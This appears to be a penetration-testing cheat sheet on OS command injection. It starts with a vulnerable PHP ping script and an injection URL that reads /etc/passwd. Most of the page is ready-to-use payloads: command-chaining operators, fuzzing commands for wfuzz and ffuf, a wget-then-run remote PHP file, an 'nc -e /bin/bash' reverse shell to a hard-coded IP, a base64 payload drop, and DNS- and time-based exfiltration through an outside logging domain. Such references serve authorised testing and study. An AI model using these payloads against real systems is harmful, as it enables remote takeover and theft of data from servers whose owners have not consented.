# Command Injection

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## Basic info <a href="#what-is-command-injection" id="what-is-command-injection"></a>

**Command Injection** is a critical vulnerability that allows an attacker to **execute arbitrary system commands** on a server hosting an application. If an application **improperly handles user input** and passes it to the operating system, an attacker can **escape the intended function** and execute system commands with the **same privileges** as the application.

Depending on **where your input is being injected** you may need to **terminate the quoted context** (using `"` or `'`) before the commands.

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### **🛠️ How Command Injection Works**

Applications that interact with the OS (e.g., calling system functions) without properly validating user input can be exploited.

#### **Example: Vulnerable Code (PHP)**

```php
<?php
  $user = $_GET['user']; 
  system("ping -c 4 " . $user); 
?>
```

💡 **Problem:** The script takes the `user` parameter and directly appends it to the `ping` command **without validation**.\
💣 **Attack:** Inject `; cat /etc/passwd` to execute an extra command!

```bash
http://target.com/ping.php?user=127.0.0.1;cat /etc/passwd
```

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### Command Injection/Execution <a href="#command-injectionexecution" id="command-injectionexecution"></a>

```bash
#Both Unix and Windows supported
ls||id; ls ||id; ls|| id; ls || id # Execute both
ls|id; ls |id; ls| id; ls | id # Execute both (using a pipe)
ls&&id; ls &&id; ls&& id; ls && id #  Execute 2º if 1º finish ok
ls&id; ls &id; ls& id; ls & id # Execute both but you can only see the output of the 2º
ls %0A id # %0A Execute both (RECOMMENDED)

#Only unix supported
`ls` # ``
$(ls) # $()
ls; id # ; Chain commands
ls${LS_COLORS:10:1}${IFS}id # Might be useful

#Not executed but may be interesting
> /var/www/html/out.txt #Try to redirect the output to a file
< /etc/passwd #Try to send some input to the command
```

#### **Limition** Bypasses <a href="#limition-bypasses" id="limition-bypasses"></a>

If you are trying to execute **arbitrary commands inside a linux machine** you will be interested to read about this **Bypasses:**

{% embed url="<https://www.verylazytech.com/linux/bypassing-bash-restrictions-rbash#bypass-linux-restrictions>" %}

#### **Examples** <a href="#examples" id="examples"></a>

```
vuln=127.0.0.1 %0a wget https://web.es/reverse.txt -O /tmp/reverse.php %0a php /tmp/reverse.php
vuln=127.0.0.1%0anohup nc -e /bin/bash 51.15.192.49 80
vuln=echo PAYLOAD > /tmp/pay.txt; cat /tmp/pay.txt | base64 -d > /tmp/pay; chmod 744 /tmp/pay; /tmp/pay
```

#### Parameters <a href="#parameters" id="parameters"></a>

Here are the top 25 parameters that could be vulnerable to code injection and similar RCE vulnerabilities:

```
?cmd={payload}
?exec={payload}
?command={payload}
?execute{payload}
?ping={payload}
?query={payload}
?jump={payload}
?code={payload}
?reg={payload}
?do={payload}
?func={payload}
?arg={payload}
?option={payload}
?load={payload}
?process={payload}
?step={payload}
?read={payload}
?function={payload}
?req={payload}
?feature={payload}
?exe={payload}
?module={payload}
?payload={payload}
?run={payload}
?print={payload}
```

#### **wfuzz**

```bash
wfuzz -c -z file,payloads.txt --hc 404 "http://target.com/page?input=FUZZ"
```

#### **ffuf**

```bash
ffuf -u "http://target.com/page?input=FUZZ" -w payloads.txt
```

#### Time based data exfiltration <a href="#time-based-data-exfiltration" id="time-based-data-exfiltration"></a>

Extracting data: char by char

```
swissky@crashlab▸ ~ ▸ $ time if [ $(whoami|cut -c 1) == s ]; then sleep 5; fi
real    0m5.007s
user    0m0.000s
sys 0m0.000s

swissky@crashlab▸ ~ ▸ $ time if [ $(whoami|cut -c 1) == a ]; then sleep 5; fi
real    0m0.002s
user    0m0.000s
sys 0m0.000s
```

#### DNS based data exfiltration <a href="#dns-based-data-exfiltration" id="dns-based-data-exfiltration"></a>

Based on the tool from `https://github.com/HoLyVieR/dnsbin` also hosted at dnsbin.zhack.ca

```
1. Go to http://dnsbin.zhack.ca/
2. Execute a simple 'ls'
for i in $(ls /) ; do host "$i.3a43c7e4e57a8d0e2057.d.zhack.ca"; done
```

```
$(host $(wget -h|head -n1|sed 's/[ ,]/-/g'|tr -d '.').sudo.co.il)
```

Online tools to check for DNS based data exfiltration:

* dnsbin.zhack.ca
* pingb.in

### Filtering bypass <a href="#filtering-bypass" id="filtering-bypass"></a>

#### **Windows**

```
powershell C:**2\n??e*d.*? # notepad
@^p^o^w^e^r^shell c:**32\c*?c.e?e # calc
```

#### **Linux**

{% embed url="<https://www.verylazytech.com/linux/bypassing-bash-restrictions-rbash#bypass-linux-restrictions>" %}

***

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